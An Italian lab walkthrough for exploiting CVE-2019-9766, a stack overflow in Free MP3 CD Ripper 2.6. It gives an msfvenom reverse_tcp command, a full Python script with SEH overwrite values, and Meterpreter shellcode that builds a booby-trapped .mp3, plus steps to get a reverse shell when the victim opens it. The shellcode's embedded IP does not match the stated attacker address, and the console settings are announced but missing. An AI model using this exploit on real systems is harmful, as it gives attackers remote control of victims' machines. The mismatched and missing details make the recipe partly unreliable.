
Esiste una vulnerabilità di overflow del buffer basato su stack nella versione 2.6 di Free MP3 CD Ripper (CVE-2019-9766), che consente a un attaccante remoto di eseguire codice arbitrario tramite un file .mp3 appositamente predisposto.
Utilizza la vulnerabilità di buffer overflow presente in Free MP3 CD Ripper 2.6 per creare un file MP3 appositamente realizzato; quando la vittima lo riproduce con il lettore, il file audio esca sfrutta la vulnerabilità di buffer overflow per eseguire codice arbitrario.
Macchina attaccante: kali201903 (192.168.198.142)
Macchina vittima: windows10 21H1 (192.168.198.137)
Installare Free MP3 CD Ripper 2.6 sulla macchina vittima e generare la shellcode di connessione inversa sulla macchina kali usando MSF:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.198.142 lport=888 -f c --smallest

Nel codice seguente, sostituire il payload generato sopra con il payload:
# Stack-based buffer overflow in Free MP3 CD Ripper 2.6
buffer = "A" * 4116
NSEH = "\xeb\x06\x90\x90"
SEH = "\x84\x20\xe4\x66"
nops = "\x90" * 5
buf = ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
buf += "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
buf += "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
buf += "\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
buf += "\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
buf += "\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
buf += "\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
buf += "\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
buf += "\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
buf += "\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
buf += "\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
buf += "\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x6e\x84"
buf += "\x68\x02\x00\x03\x78\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
buf += "\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0"
buf += "\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8"
buf += "\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00"
buf += "\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68"
buf += "\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";
pad = "B" * (316 - len(nops) - len(buf))
payload = buffer + NSEH + SEH + nops + buf + pad
try:
f = open("Test_Free_MP3.mp3","w")
print "[+]Creating %s bytes mp3 Files..."%len(payload)
f.write(payload)
f.close()
print "[+]mp3 File created successfully!"
except:
print "File cannot be created!"
Esegui lo script per generare un file .mp3:

Copia questo file mp3 sulla macchina vittima. Quindi avvia la console MSF sulla macchina kali e imposta i parametri come segue:

Dopo l'impostazione, inizia l'ascolto. Apri il file mp3 con il software sulla macchina vittima: la reverse shell riesce.

Nota: funziona solo con Kali 2019; con Kali 2020 e versioni successive fallisce (dipende dalla versione di MSF). Inoltre, richiede Windows 10; la verifica fallisce su Windows 7 (entrambi a 64 bit).
Riferimento: https://www.code456.com/article/1464254.html